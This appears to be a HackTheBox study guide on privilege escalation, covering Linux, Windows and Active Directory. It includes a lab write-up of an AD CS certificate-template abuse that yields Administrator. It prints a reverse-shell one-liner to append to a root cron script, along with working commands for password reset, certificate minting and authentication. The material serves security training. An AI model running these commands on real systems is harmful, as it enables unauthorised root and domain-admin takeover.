HackTheBox RoadMap — Phase 6: Privilege Escalation
This is the payoff phase. Using everything collected in Part 5, you escalate from your current user to root (Linux) or Domain Admin / SYSTEM (Windows). Most escalation is not a memory-corruption exploit — it's the abuse of a legitimate right or misconfiguration.
Firstly: Linux Systems
- sudo -l Abuse — If you can run a command as root, check GTFOBins: https://gtfobins.github.io/
- SUID Abuse — If a binary has SUID set, check GTFOBins for exploitation.
- Cron Job Abuse — If a cron job runs a writable script as root, inject your payload:
echo 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1' >> /path/to/writable/script.sh1— Kernel Exploits (Last Resort)
uname -r
# Search for kernel version exploits
searchsploit linux kernel <version>2— Password Reuse
Always try found passwords for other users and services:
su <username>
ssh <username>@target3— Group-Based Escalation
- lxd/docker group → container escape to root.
- disk group → read any file on disk.
- adm group → read log files for credentials
4— Local host running services / Port Forwarding
netstat -tulpn | grep 127.0.0.1
ssh -L 3001:127.0.0.1:3001 <username>@<TARGET_IP>Secondly: Windows Systems
1— Token Privileges
- selmpersonatePrivilege → Potato attacks (JuicyPotato, PrintSpoofer)
- SeBackupPrivilege → copy SAM/SYSTEM hives
2— Service Misconfigurations
sc query state= all
accesschk.exe /accepteula -uwcqv "Authenticated Users" *3— Unquoted Service Paths
wmic service get name,pathname,displayname,startmode4— AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer5- Active Directory Escalation
On a domain, stop guessing who is privileged — map it with BloodHound:
bloodhound-python -u '<user>' -p '<pass>' -d <domain> -ns <DC_IP> -c allThen read each owned user's Outbound Object Control to see what they can do to others: edges like ForceChangePassword, GenericAll, WriteDacl, and AddMember are escalation paths.
Clock-skew tip (you'll hit this constantly on AD): Kerberos rejects tickets when your clock differs from the DC by more than ~5 minutes (KRB_AP_ERR_SKEW). Fix it with (sudo ntupdate <domain>). Some tools fall back to NTLM and succeed anyway, but Kerberos-only tools fully fail on skew.
Real-world notes
DanglingTree's escalation was a textbook AD trust-abuse chain, and every lesson here is reusable:
1. ForceChangePassword. BloodHound showed alex.o (via a SUPPORT-IT group) could reset jake.h's password without knowing the old one:
net rpc password 'jake.h' 'NewPass!' -U 'domain/alex.o%<pass>' -S <DC_IP>
Lesson: a single ACL edge is a full account takeover — you don't need the victim's current password.
2. AD CS was the real endgame (ESC7 → dangling template → ESC1). jake.h held ManageCertificates on the CA (ESC7), but that alone was a dead end — it only approves pending requests, and no template let him enroll. The actual power, found with bloodyAD (not certipy/BloodHound, which are blind to PKI ACLs), was CreateChild on the Certificate Templates container:
bloodyAD --host dc.<domain> -d <domain> -u jake.h -p '<pass>' --secure get writable
Lesson: when certipy find -vulnerable is empty, read the raw PKI permissions by hand.
3. CreateChild ≠ Write. We could create a template object but never modify one — so every ESC1 setting (ENROLLEE_SUPPLIES_SUBJECT, Client-Auth EKU, and a hand-built security descriptor granting us enrollment) had to be baked in at creation time. The box name was the hint: the CA still advertised "dangling" template names whose objects were deleted, so re-creating the object made it instantly issuable with no publish rights. Lesson: a narrow right (CreateChild) plus a leftover misconfiguration (dangling name) becomes full domain compromise.
4. Mint the cert, then convert it to a hash:
certipy req -u jake.h@<domain> -p '<pass>' -ca '<CA>' -template '<dangling>' \
-upn 'administrator@<domain>' -sid 'S-1-5-...-500'
faketime "$(ntpdate -q <domain> | awk '{print $1" "$2}' | tail -1)" \
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>
Lesson: AD CS attacks abuse trust, not crypto — the domain believes any certificate its own CA signs, so a cert that says "I am Administrator" logs you in as Administrator. And when certipy auth kept failing on clock skew, faketime (feeding just that process the DC's time) was the clean fix where ntpdate wouldn't hold.
Next up — Part 7: Capture the Root Flag, the final step — reading the flag and wrapping up the engagement.
By CyberAlp0 — CyberSkii — Knowledge That Protects
#hackthebox #privilegeescalation #activedirectory #adcs #bloodhound #gtfobins #oscp #infosec
